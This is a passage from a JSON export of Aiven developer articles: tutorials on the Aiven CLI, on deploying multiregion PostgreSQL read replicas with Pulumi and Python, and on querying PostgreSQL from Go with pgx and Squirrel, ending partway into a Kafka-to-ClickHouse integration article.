appropriate).\n\n```\nPROJECT_NAME DEFAULT_CLOUD BILLING_CURRENCY VAT_ID\n============= ================ ================ ==========\ndev-advocates aws-eu-west-1 EUR FIxxxxxxxx\n credit_card = N/A\n billing_address = \"Some address, somewhere\"\n country_code = FI\n```\n\n### Get JSON data\n\nCommands that return data also take a `--json` switch, which causes them to\nreturn their data in JSON. This often includes more information than is\nprovided by the standard text output. For instance altering our earlier command to include the switch:\n\n```\navn project details --json\n```\n\nThis version gives a lot more detail, including account name and id, available credits and\ncurrent estimated balance.\n\nSometimes the data produced with `--json` can be overwhelming, especially if\nyou're only looking for one particular field. In that case, it can be useful\nto pipe the JSON output into the [jq](https://stedolan.github.io/jq/) tool,\nand use a query to select just the information you want.\n\nFor instance, to find the name of the default cloud for the current project, do:\n\n```\navn project details --json | jq '.[] | .default_cloud'\n```\n\nThe command returns just the name of the cloud.\n\n### Find out what services are available\n\nYou can find out what services (PostgreSQL®, Apache Kafka®, OpenSearch®, etc.)\nare available for the current project with this command:\n\n```\navn service types\n```\n\nThis will will list the services and the abbreviation used for each service\ntype.\n\nFor instance, the entry for PostgreSQL looks like this:\n\n```\npg PostgreSQL - Object-Relational Database Management System\n```\n\nSince PostgreSQL is such an excellent database, we're going to create a `pg` service and show off some more `avn` commands.\n\n### Find a cloud\n\nIn order to create a new service, you need to decide what region you want it\nto run in, and what capabilities you need. To find out what clouds and regions\nare available:\n\n```\navn cloud list\n```\n\nThis will show the available clouds and information about them - specifically,\na description of the cloud, its name, its location (as latitude and longitude)\nand its region.\n\nThe output will be lines looking something like:\n\n```\nEurope, Belgium - Google Cloud: Belgium google-europe-west1 50.45 3.82 europe\n```\n\nUsing the `--json` switch and `jq` can help if you want to get more\ndetails of just part of the information. For instance, to find the information\nfor all the services in `europe`, try this:\n\n```\navn cloud list --json | jq '.[] | select(.geo_region==\"europe\")'\n```\n\nYou should see a list of entries like the one below:\n\n```\n{\n \"cloud_description\": \"Europe, Finland - Google Cloud: Finland\",\n \"cloud_name\": \"google-europe-north1\",\n \"geo_latitude\": 60.5693,\n \"geo_longitude\": 27.1878,\n \"geo_region\": \"europe\"\n}\n```\n\nTo get just that particular entry, you could use:\n\n```\navn cloud list --json | jq '.[] | select(.cloud_name==\"google-europe-north1\")'\n```\n\n### Find a service plan\n\nAiven uses \"service plans\" to define the number of servers and what kind of\nmemory, CPU, and disk resources are allocated to your service.\n\nTo get a list of the available service plans for PostgreSQL in the cloud\n`google-europe-north1`, including the plan name, its cost and what resources\nit provides, use this command:\n\n```\navn service plans --service-type pg --cloud google-europe-north1\n```\n\nHere's part of the output I get:\n\n```\nPostgreSQL - Object-Relational Database Management System Plans\n\n pg:hobbyist $0.026/h Hobbyist (1 CPU, 2 GB RAM, 8 GB disk)\n pg:startup-4 $0.103/h Startup-4 (1 CPU, 4 GB RAM, 80-240 GB disk)\n pg:startup-8 $0.205/h Startup-8 (2 CPU, 8 GB RAM, 175-525 GB disk)\n```\n\nIt's worth trying different clouds to see how pricing differs between them.\n\n::alert[The price quoted is all inclusive (although some services also allow [the purchase of extra storage space](https://aiven.io/docs/platform/howto/add-storage-space)).]\n\n### Create a PostgreSQL® service\n\nFor this first service creation, create a PostgreSQL service on the Finnish\nGoogle cloud at the Hobbyist level.\n\nIt's important to give the service a unique name - I like to put my own\nname into it, but you should use your own! Beware that the name can't be\nchanged after you've created the service.\n\n```\navn service create YOUR-NAME-demo-pg --service-type pg \\\n --cloud google-europe-north1 --plan hobbyist\n```\n\nThe command will return immediately. Meanwhile, Aiven will start creating the service, which will take a little while to build.\n\n::alert[If your target cloud includes VPCs (virtual private clouds) then it is safest to be explicit whether you want to create the new service in the VPC or not. See [`avn vpc list`](https://aiven.io/docs/tools/cli/vpc#avn-vpc-list) if you're not sure if your project has VPCs, and [`avn service create`](https://aiven.io/docs/tools/cli/service#avn-service-create) for the VPC related switches, specifically `--no-project-vpc` and `--project-vpc-id PROJECT_VPC_ID`]\n\nIf you want to wait for the service to start, you can use the `wait` command for the service:\n\n```\navn service wait YOUR-NAME-demo-pg\n```\n\nThis will report the progress of the newly-created service as it comes up.\n\n```\nINFO\tService 'YOUR-NAME-demo-pg' state is now 'REBUILDING'\nINFO\tWaiting for services to start\n...\nINFO\tWaiting for services to start\nINFO\tService 'YOUR-NAME-demo-pg' state is now 'RUNNING'\nINFO\tService(s) RUNNING: YOUR-NAME-demo-pg\n```\n\nThe command will return when the service is `RUNNING` (the `...` means there might be multiple \"Waiting\" messages).\nThe `wait` command is especially useful in a script, when you have another command to run when things are ready.\n\nYou can explicitly check the state of the service, as well as other\ninformation:\n\n```\navn service get YOUR-NAME-demo-pg\n```\n\nThis returns service information like this:\n\n```\nSERVICE_NAME SERVICE_TYPE STATE CLOUD_NAME PLAN CREATE_TIME UPDATE_TIME NOTIFICATIONS\n================= ============ ========== ==================== ======== ==================== ==================== =============\nYOUR-NAME-demo-pg pg REBUILDING google-europe-north1 hobbyist 2022-05-25T12:18:02Z 2022-05-25T12:18:43Z\n```\n\nIf you just want the current *state* of the service, use `--json` and `jq` as we did earlier to\nget the field you want from the output:\n\n```\navn service get YOUR-NAME-demo-pg --json | jq .state\n```\n\n### Interact with the PostgreSQL service\n\nOnce the PostgreSQL service is running, we can use the command line to\ninteract with it.\n\nTo find out what databases are present:\n\n```\navn service database-list YOUR-NAME-demo-pg\n```\n\nThis will just show the default database since we just created a new service:\n\n```\ndefaultdb\n```\n\nWe can create a new database using `avn`:\n\n```\navn service database-create YOUR-NAME-demo-pg --dbname database2\n```\n\nIf you list the databases again, the new one will appear:\n\n```\ndatabase2\ndefaultdb\n```\n\nSince this is a PostgreSQL database, we could get the connection details from `avn` \nand use them to connect to the\ndatabase:\n\n```\navn service get YOUR-NAME-demo-pg --json | jq .service_uri_params\n```\n\nBut it's probably easier to use the built-in helper:\n\n```\navn service cli YOUR-NAME-demo-pg\n```\n\nThis will run the appropriate CLI for the service - for our PostgreSQL service, that means `psql`.\n\nFinally for this section, I like to know the backup status of services I'm\nusing. I can get a list of when backups were made and what region they're\nstored in with:\n\n```\navn service backup-list YOUR-NAME-demo-pg\n```\n\n::alert[Backup handling differs from service to service and from plan to plan. See [Backups at Aiven](https://aiven.io/docs/platform/concepts/service_backups) for an overview, and [PostgreSQL® backups](https://aiven.io/docs/products/postgresql/concepts/pg-backups) if you just want the PostgreSQL specifics.]\n\n### Change plan, cloud and region\n\nWe created our PostgreSQL service using the Hobbyist plan. That's fine for\ntrying out a service, but it's definitely not suitable for production\nuse.\n\nThe `avn service update` command allows us to change the details of our service.\n\nTo update to a `Startup-8` plan running on AWS in Ireland (`aws-eu-west-1`):\n\n```\navn service update YOUR-NAME-demo-pg --plan startup-8 --cloud aws-eu-west-1\n```\n\nThis will take a little while, because it has to start a new service with a\ncopy of the original data. How long it takes will depend on the amount of\ndata, and how busy the systems are. As before, you can use `avn service get`\nor `avn service wait` to tell when it has finished. See the documentation for\n[Migrate\nservices](https://aiven.io/docs/platform/howto/list-service) and\n[Scale your\nservice](https://aiven.io/docs/platform/howto/scale-services). (Aiven takes care that there is no service interruption during a change like\nthis).\n\nOnce the service is `RUNNING` again, check the new plan and location:\n\n```\navn service get YOUR-NAME-demo-pg\n```\n\n### Keep things tidy\n\nIf you're not going to be using a service for a while, then powering it off\nwill stop you being charged for it:\n\n```\navn service update YOUR-NAME-demo-pg --power-off\n```\n\nThe command won't return until the service is powered off.\n\n::alert[Some services that have \"event-like\" state, such as Apache Kafka® and Apache Flink®, will lose that state when they are powered off.]\n\nYou can power the service back on again by using the update command once more:\n\n```\navn service update YOUR-NAME-demo-pg --power-on\n```\n\nRemember it will take a while before the service returns to the `RUNNING` state.\n\nIf you no longer need the service, then delete it:\n\n```\navn service terminate YOUR-NAME-demo-pg\n```\n\nSince this will delete the service and all associated data, it prompts you to\ntype in the service name to confirm the operation.\n\n## Further reading\n\nWe barely scratched the surface of the available features in this tool. For more information, visit the Aiven documentation\nwhere you will find a whole section on [the Aiven CLI](https://aiven.io/docs/tools/cli).\n\nThe [README](https://github.com/aiven/aiven-client/blob/main/README.rst) for\nthe [Aiven Client GitHub repository](https://github.com/aiven/aiven-client)\nalso contains useful information and examples.\n\nThere's also an [Introduction to Aiven CLI](https://www.youtube.com/watch?v=nf3PPn5w6K8) video, which covers some of the same material.\n\nAnd for an example of using the Aiven CLI in a Bash script, see\n[Controlling non-production Aiven Services with the CLI](https://aiven-fly.fly.dev/developer/controlling-aiven-services-with-the-cli)\n\nAlternatively, try one of the other ways to work with the Aiven platform:\n\n* the [Aiven web console](https://console.aiven.io/)\n* the [Aiven API](https://aiven.io/docs/tools/api) - this is what\n the command line tool and the web console use to communicate with the Aiven platform\n* [Terraform and the Aiven Terraform provider](https://aiven.io/docs/tools/terraform)\n* [Kubernetes® and Aiven Operator for Kubernetes](https://aiven.io/docs/tools/kubernetes)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:04:40.120Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2022-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"There's more than one way to use Aiven. Read on to learn how to use the Aiven command line tool to do common tasks.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-00cad237865c7c38adb32faff427482dfdd42e61-3133x1688-png","_type":"reference"}},"metaTitle":"Get things done with the Aiven CLI"},"slug":{"_type":"slug","current":"/developer/aiven-cmdline"},"subtitle":"There's more than one way to use Aiven. Read on to learn how to use the Aiven command line tool to do common tasks.","tags":[{"_key":"2173b2e5d471","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a3b733fba6a6","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Get things done with the Aiven CLI"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:16:42Z","_id":"467b0665-d0cd-4306-bbcc-344da4b3c6bb","_rev":"YaKEzcVhnb7P0fmfvFjtRM","_type":"devArticle","_updatedAt":"2024-08-02T10:02:54Z","body":"This tutorial uses Python and Pulumi to stand up a multiregion managed PostgreSQL® service on Aiven. I default to using GCP as the underlying cloud provider, but this can be easily changed. \n\nYou could even use multiple public clouds with N number read replicas by changing a couple of variables in Pulumi. Let’s begin!\n#### Requirements\nThe following must be installed on your local computer before you can follow along with this tutorial:\n- Python 3.7+\n- Pulumi 2.16+\n- Register for accounts with Pulumi \u0026 Aiven\n\n#### Time and cost estimate\nYou'll need no more than 15 minutes for this. \n\nThe costs to temporarily run this tutorial should be negligible or zero.\n\nYou need:\n\n- Free Pulumi trial account \n- Free credits for new Aiven users (less than $1/hr for existing customers)\n\n## Why multiregion PostgreSQL?\nUsing Aiven, you can accelerate application development on open source data infrastructure and quickly deploy to public clouds (including AWS, GCP, and Azure). \n\nDatabase read replicas help improve the performance and scale of read-intensive workloads. These workloads can be isolated to the replicas, while write workloads can be directed to the primary. This is good for analytical workloads, such as interactive dashboards that can use a read replica as the data source for reporting. Please note that data is replicated asynchronously, so there could be a delay when copying it to the replica. \n\nYou can also create a read replica in a different region from your primary server: this is called cross-region replication. It can be helpful for scenarios like disaster recovery. For example, in the event that the primary server fails (or becomes unreachable), one of the read replicas can be promoted to replace it.\n\nAiven makes it trivial to use multiple public cloud providers to mitigate the risk of downtime even further. On our platform, you will not pay any network charges for synchronizing data between clouds, which is an important concern for read replica scenarios that leverage multiple public cloud providers. This matters more than you might think, as these transit costs can add up quickly!\n## Why Pulumi?\n[Pulumi](https://www.pulumi.com/) enables you to create, deploy, and manage infrastructure on any cloud using your favorite programming languages such as TypeScript, Go, C# or, in this case, Python. Simply, import the appropriate Pulumi libraries for your language and cloud to begin defining infrastructure as code.\n\n## Set up the environment\nYour first step is to install Python. Follow the [directions on this page](https://www.pulumi.com/docs/get-started/aws/begin/) to install Python on your local system.\n\nNext, get the Aiven examples by cloning this [repo](https://github.com/aiven/aiven-examples) to your local machine.\n\nCreate the Python virtual environment and install the required dependencies:\n\n```bash\n$ cd aiven-examples/pulumi/postgres_read_replicas\n$ python3 -m venv venv\n$ source venv/bin/activate\n$ pip install -r requirements.txt\n```\n\n### Set your Aiven API token using the Pulumi CLI:\n\n```bash\n$ pulumi config set aiven:apiToken XXXXXXXXXXXXXXXXXXXX --secret\n```\n\nNote that you can [generate an API Token](https://console.aiven.io/profile/auth) on your profile page.\n\n### Configure the project settings for Pulumi:\n\n```bash\n$ pulumi config set aiven_project sa-demo\n$ pulumi config set plan_size startup-4\n$ pulumi config set pg_version 12\n```\n\nNote that I am using a project named ‘sa-demo’ and I want PostgreSQL v12.x instances.\n\n![pulumi1](//cdn.sanity.io/images/sczeoy4w/production/20b3e1137ac4b983795e78595c74f25c555ca027-624x156.png \"The sa-demo project in the Aiven Console\")\n\nSet your preferred cloud regions and number of replicas, as well as instance names in the `__main__.py` file:\n\n```python\n# Edit instance names, regions and # of read replicas as needed\nprimary = {'name': \"pulumi-pg-master\", 'region': \"google-us-east1\"}\nreplicas = [\n\t{'name': \"pulumi-pg-replica1\", 'region': \"google-us-west1\"},\n\t{'name': \"pulumi-pg-replica2\", 'region': \"google-europe-west1\"}\n]\n```\n\nThis will create a primary PG instance in the GCP us-east1 region, with a total of two read replicas (us-west1 and europe-west1).\n\n*Supported regions/clouds for each service are listed on the [pricing page]( https://aiven.io/pricing). To create a 3rd read replica, add it to the `replicas` list.\n*\n\n### Use Pulumi to deploy the service with Aiven\n\nNow we are ready to spin up our source on Aiven. Run the following in your terminal:\n```bash\n$ pulumi up\n```\n\nSelect **Yes** to confirm the deployment.\nAfter about 5 minutes or so, you should see that all of the resources have been created. The URLs and username/password combinations listed are needed to access the services. The `influxdb_uri` shown here is also added as an environment variable in the Lambda function, so that the Python client can connect to InfluxDB. \n### Aiven console\nTo see the new services, log into the Aiven [console](https://console.aiven.io/) and verify that our three newly created resources are displayed:\n\n![pulumi2](//cdn.sanity.io/images/sczeoy4w/production/591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180.png \"The new resources shown in the Aiven Console\")\n\n### Test\nNow we can load some data. Issue the following commands to run and test:\n```bash\nexport postgres_master_uri=$(pulumi stack output pulumi-pg-master_uri --show-secrets)\nexport postgres_replica_uri=$(pulumi stack output pulumi-pg-replica1_uri --show-secrets)\npython3 run.py\n```\n\nThe commands above do two things:\nFirst we export the connection strings for our primary database and the first read replica (which are automatically assigned at deployment time) to local environmental variables using the `pulumi stack output` command. \nThen we can run a Python script which will load 1000 fake ecommerce orders into the primary instance. Then it will read the row counts from both the primary and read replica, to demonstrate that both databases contain the same number of records.\n\n## Clean up\nLet’s tidy up and tear down our resources to save on costs (we can always deploy this again later).\n```bash\n$ deactivate\n$ pulumi destroy\n$ pulumi stack rm \u003cmy-stack-name-here\u003e\n```\n## Python code details\n### Create Aiven infrastructure using Pulumi\nAll of the Pulumi specific code resides in __main__.py.The key to provisioning infrastructure on Aiven using Pulumi is to include the two Python libraries below:\n```python\nimport pulumi\nimport pulumi_aiven as aiven\n```\nOnce you have done that, you can create a Postgres service by utilizing the `Pg` method with the associated parameters like this:\n```python\navn = aiven.Pg(instance_info['name'],\n \tproject=conf.require('aiven_project'),\n \tcloud_name=instance_info['region'],\n \tservice_name=instance_info['name'],\n \tplan=conf.require('plan_size'),\n \tpg_user_config=user_config_args,\n \tservice_integrations=integrations\n \t)\n```\n\nI have chosen to leverage a Pulumi `Config` to preclude having to hardcode settings.\n\nTo create the read replicas, we have to create a service integration by specifying the `read_replica` integration type and providing the name of the primary database instance.\n```python\n# Specify the read replica service integration\naiven.ServiceServiceIntegrationArgs(\n \tintegration_type=\"read_replica\",\n \tsource_service_name=instance.service_name\n\t)\n```\n### Generating test data using Python\nMock data is generated using the [Faker](https://faker.readthedocs.io/en/master/) package. The `main.py` program contains just two functions: one to insert some fake data into the master instance and the other to read the row count (on both the primary and a read replica). The `generate_data` routine also creates a table for us in the event that it does not exist. Check the file called `schema.sql` for details.\n\n```python\nif __name__ == \"__main__\":\n\tgenerate_data(\"postgres_master_uri\")\n\tget_row_count(\"postgres_master_uri\")\nget_row_count(\"postgres_replica_uri\")\n```\nI connect to our instance using the popular [Psycopg](https://pypi.org/project/psycopg2/) database adapter. This is a standard pattern for making database connections in Python. The only thing that I have to do differently is read the connection string from the environment variables that we previously set. \n```python\nconn_string = os.getenv(service_uri)\nconn = pg_connect(conn_string)\ncursor = conn.cursor()\ncursor.execute('select count(*) from fake_orders;')\ncount = cursor.fetchone()[0]\ncursor.close()\nprint(f'Current row count in {service_uri}: {count}')\n```\n\nHere is the output displaying the row counts in both the primary and the first read replica:\n\n![pulumi3](//cdn.sanity.io/images/sczeoy4w/production/51e50c9849e1de8dd3b6c8681ce959b58254da11-624x391.png \"Output with row counts\")\n\n## Wrapping up\nPulumi is a great option to provision cloud resources using the language of your choice. And Aiven makes it trivial to deploy Postgres instances in your preferred cloud and region. When you put these together, you have a powerful combination.\n\nThis same approach can be utilized for any [Aiven](https://aiven.io/platform) services, including [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for MySQL®](https://aiven.io/mysql).\n\n\u003c!-- You are also invited to the webinar [Multicloud OSS database deployments with Zero downtime - Pulumi and Aiven](https://www.bigmarker.com/pulumi/Multicloud-OSS-database-deployments-with-Zero-downtime-Pulumi-and-Aiven \"https://www.bigmarker.com/pulumi/Multicloud-OSS-database-deployments-with-Zero-downtime-Pulumi-and-Aiven\") on 21 March 2021. --\u003e\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for Apache Kafka®](https://aiven.io/kafka \"Aiven for Apache Kafka\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Analyzing Netflix shows with pgAdmin and PostgreSQL](https://aiven.io/blog/analysing-netflix-shows-with-pgadmin-and-postgresql)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:16:38.542Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Improve PostgreSQL performance by setting up a multiregion service: isolate read-intensive workloads to replicas. Trevor explains how, using Aiven and Pulumi.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a0564a2b1177fcb91e82b68dde329d69135a1050-1200x628-jpg","_type":"reference"}},"metaTitle":"How to stand up multiregion PostgreSQL® with Pulumi"},"slug":{"_type":"slug","current":"/developer/how-to-stand-up-multiregion-postgresql-with-pulumi"},"subtitle":"Improve PostgreSQL® performance by setting up a multiregion service: isolate read-intensive workloads to replicas. Trevor explains how, using Aiven and Pulumi.","tags":[{"_key":"a5f5c90e96ae","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"cba7830e4fd9","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"cdbd9684791e","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"How to stand up multiregion PostgreSQL® with Pulumi"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:47:28Z","_id":"930cb161-7c4a-4af0-84fb-88793e123e98","_rev":"Gc7Qq2PHZBylrD6rwNGL9J","_type":"devArticle","_updatedAt":"2024-08-02T10:00:54Z","body":"The libraries I picked for this post are [pgx](https://github.com/jackc/pgx) which is a nice PostgreSQL-specific alternative to `database/sql` and [Squirrel](https://github.com/Masterminds/squirrel) because I love the name (it also has some quite cool features).\n\n## Start with a database\n\nIt would make sense to already have a [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") database handy, ideally with some data in it. If you don't already have an Aiven account, then [sign up](https://console.aiven.io/signup) and start a PostgreSQL service. If you already have some data to use, great! I'm using some open data from the Kepler space mission, you can follow along with the [Discover exoplanets with PostgreSQL® sample data](https://aiven.io/blog/discover-exoplanets-with-postgresql) blog post to set this up yourself.\n\nIn the Aiven Console, copy the connection string for Postgres - or if you are using a different database, copy the `postgres://....` connection string.\n\n## Connecting to PostgreSQL from Go\n\nGo has built-in database support in its `database/sql` library, but it's quite generic since it has to be able to cope with so many different database platforms. For applications that are specifically connecting to PostgreSQL, it make sense to use a specialist library.\n\nFor this example I chose `jackc/pgx` which is PostgreSQL-specific and has some nice features around understanding PostgreSQL data types in addition to improved performance. The overall pattern isn't radically different from other applications using `database/sql`, which makes it feel quite familiar.\n\nSet the connection string you copied earlier as the `DATABASE_URL` environment variable. Then initialise your go application with `go mod init pgfun`; `pgx` uses go modules.\n\nWhen you have everything set up, try the code example below to connect to a database and run one query (my database has the exoplanets data in it):\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/jackc/pgx/v4/pgxpool\"\n)\n\nfunc main() {\n\tdbpool, dberr := pgxpool.Connect(context.Background(), os.Getenv(\"DATABASE_URL\"))\n\tif dberr != nil {\n\t\tpanic(\"Unable to connect to database\")\n\t}\n\tdefer dbpool.Close()\n\n\tsql := \"SELECT kepler_name, koi_score \" +\n \"FROM cumulative \" +\n \"WHERE kepler_name IS NOT NULL AND koi_pdisposition = 'CANDIDATE' \" +\n \"ORDER BY koi_score LIMIT 5\"\n\trows, sqlerr := dbpool.Query(context.Background(), sql)\n\tif sqlerr != nil {\n\t\tpanic(fmt.Sprintf(\"QueryRow failed: %v\", sqlerr))\n\t}\n\n\tfor rows.Next() {\n\t\tvar planet_name string\n\t\tvar score float64\n\t\trows.Scan(\u0026planet_name, \u0026score)\n\t\tfmt.Printf(\"%s\\t%.2f\\n\", planet_name, score)\n\t}\n}\n```\n\nIn the `main()` function, first the code connects to the database using the [connection pool](https://aiven.io/docs/products/postgresql/concepts/pg-connection-pooling) features of `pgx`. As a general rule I consider that pooling connections for PostgreSQL is a wise move which is why it's used here.\n\nThen a simple SQL statement that shows the exoplanets that the Kepler mission assigned a \"CANDIDATE\" status, and how confident they were that it was a real planet. The statement has a row limit (the dataset has ~2k rows without the limit) so you only see the five lowest-confidence-scoring planets in the final section that iterates over the rows and reads the data in as variables.\n\nI love that the names are here - if you're interested you can even look up the planets in the [Exoplanet Catalog](https://exoplanets.nasa.gov/discovery/exoplanet-catalog/?). I spent way too much time browsing that, science is ace!\n\nSo to recap, we have one PostgreSQL connection string, one Go database library and a hardcoded SQL query. What's next?\n\n## Fluid Interfaces with Squirrel\n\nWhile the `pgx` library is a PostgreSQL-specific alternative to `database/sql`, it also has a compatible interface. This is ideal if you want to switch an existing application over, but it also means that other tools designed to play nicely with `database/sql` can work with `pgx` too. That's good news for me because I want to find something more elegant than my hardcoded SQL string.\n\nSquirrel!\n\nNo, I didn't get distracted, it's an SQL library. Although, it is a bit of a shiny toy. It's a fluid interface for building SQL queries, and SQL lends itself well to being thought about in this way.\n\nRebuilding our existing SQL query in this interface produces something like this:\n\n```go\n\tplanets := psql.Select(\"kepler_name\", \"koi_score\").\n\t\tFrom(\"cumulative\").\n\t\tWhere(sq.NotEq{\"kepler_name\": nil}).\n\t\tWhere(sq.Eq{\"koi_pdisposition\": \"CANDIDATE\"}).\n\t\tOrderBy(\"koi_score\").\n\t\tLimit(5)\n```\n\nIt's a bit more manageable and I can imagine building this in a real application much more easily than concatenating bits of SQL string together. It's still possible to inspect the SQL that it built as a string by calling `planets.ToSql()`, which is a nice touch.\n\nSwitching `pgx` over to the \"pretend to be `database/sql`\" mode needed a little refactoring. I also need a spoonful of secret sauce to make Squirrel play nicely with PostgreSQL, so here's the whole runnable example at once. It expects the database connection string to be in `DATABASE_URL` as for the previous example:\n\n```go\npackage main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\n\tsq \"github.com/Masterminds/squirrel\"\n\t_ \"github.com/jackc/pgx/v4/stdlib\"\n)\n\nfunc main() {\n\tdb, err := sql.Open(\"pgx\", os.Getenv(\"DATABASE_URL\"))\n\tif err != nil {\n\t\tpanic(\"Unable to connect to database\")\n\t}\n\tdefer db.Close()\n\n // a little magic to tell squirrel it's postgres\n\tpsql := sq.StatementBuilder.PlaceholderFormat(sq.Dollar)\n\n\tplanets := psql.Select(\"kepler_name\", \"koi_score\").\n\t\tFrom(\"cumulative\").\n\t\tWhere(sq.NotEq{\"kepler_name\": nil}).\n\t\tWhere(sq.Eq{\"koi_pdisposition\": \"CANDIDATE\"}).\n\t\tOrderBy(\"koi_score\").\n\t\tLimit(5)\n\n\trows, sqlerr := planets.RunWith(db).Query()\n\tif sqlerr != nil {\n\t\tpanic(fmt.Sprintf(\"QueryRow failed: %v\", sqlerr))\n\t}\n\n\tfor rows.Next() {\n\t\tvar planet_name string\n\t\tvar score float64\n\t\trows.Scan(\u0026planet_name, \u0026score)\n\t\tfmt.Printf(\"%s\\t%.2f\\n\", planet_name, score)\n\t}\n}\n```\n\nNote that the `pgx` import is different this time to get the `database/sql` compatible library that Squirrel expects in its `RunWith()` method. The connection step changes a little as well so don't try to amend the previous example; this one is different.\n\nThe `psql` variable holds a reconfigured squirrel which is needed because PostgreSQL handles placeholders slightly differently. Skipping this causes the code to tell you there is a syntax error near the `LIMIT` clause. Hopefully now I've written this down my valued readers can avoid this problem, and I may even remember this next time too!\n\n## Fun with Go and PostgreSQL\n\nThis was a lightweight introduction to show you a couple of my favourite libraries for Go and PostgreSQL applications - and of course with an open data set to play with, the fun is multiplied :)\n\nHere are some related links and further reading, reach out to us on [Twitter](https://twitter.com/aiven_io) if you have questions. We are always pleased to chat.\n\n* [Find out more about Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\")\n* [Getting started with Aiven for PostgreSQL](https://aiven.io/docs/products/postgresql/get-started)\n* [Discover exoplanets with PostgreSQL](https://aiven.io/blog/discover-exoplanets-with-postgresql)\n* [Code examples for Aiven connections](https://github.com/aiven/aiven-examples)\n* [Analyzing Netflix shows with pgAdmin and PostgreSQL](https://aiven.io/blog/analysing-netflix-shows-with-pgadmin-and-postgresql)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup)!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:47:25.687Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-02-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Applications and databases go together like milk and cookies; on the menu today, a PostgreSQL cookie with a splash of refreshing Go milk. Bon appetit!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f7d62ddab91bc9a0d6ea92dbd9769e91cc3eaf48-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® for your Go application"},"slug":{"_type":"slug","current":"/developer/aiven-for-postgresql-for-your-go-application"},"subtitle":"Applications and databases go together like milk and cookies; on the menu today, a PostgreSQL® cookie with a splash of refreshing Go milk. Bon appetit!","tags":[{"_key":"1a43aaa3b1e3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ad0f43f5faf5","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"225327634c9a","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Aiven for PostgreSQL® for your Go application"} {"__i18n_lang":"en","_createdAt":"2023-08-07T08:02:52Z","_id":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_rev":"7TSbNTeKBQNzcdaFtKQVjE","_type":"devArticle","_updatedAt":"2024-07-17T08:22:18Z","body":"Apache Kafka® and ClickHouse® are quite different, but also have a lot in common. They are both open source, highly scalable, work best with immutable data and allow us to process big loads of data, but they do all of this in quite different ways. That’s why instead of competing, these technologies actually complement each other quite well.\n\nApache Kafka is amazing at handling real-time data feeds. However, in certain cases we need to come back to older records to analyse and process data at later times. This is challenging because Apache Kafka, a streaming platform, is not optimised to access large chunks of data and act as an OLAP (online analytical processing) engine.\n\nClickHouse, on the other hand, is a scalable and reliable storage solution designed to handle petabytes of data and, at the same time, a powerful tool for fast online analytical processing, used by many companies for their data analytics.\n\nBy combining both technologies we get a performant data warehouse in ClickHouse, that stays up-to-date by constantly getting fresh data from Apache Kafka.\n\nYou can think of Apache Kafka topics as rivers where real-time data flows. ClickHouse, on the other hand, is the sea where all data eventually goes.\n\nWith that, time to roll up our sleeves and try integrating these two data solutions in practice. Below step by step we'll create the services, integrate them and run some query experiments.\n\n## Create services\n\nTo simplify the setup we'll be using managed versions of Apache Kafka and ClickHouse, both run by Aiven. If you don't have an Aiven account yet, no worries, [registration](https://console.aiven.io/signup) is just a step away, and you can use a free trial for this experiment.\n\nYou can create Aiven for ClickHouse and Aiven for Apache Kafka services directly from [Aiven's console](https://console.aiven.io/). In the examples below I'm using `apache-kafka-service` and `clickhouse-service` as names for these services, but you can be more creative ;) \n\nNote, that Aiven for ClickHouse needs at least a startup plan to allow adding integrations.\n\nOnce you've created the services, wait until they are completely deployed and are in `RUNNING` state. Now you're ready for action! \n\n## Prepare Apache Kafka\n\nIn order to move data from 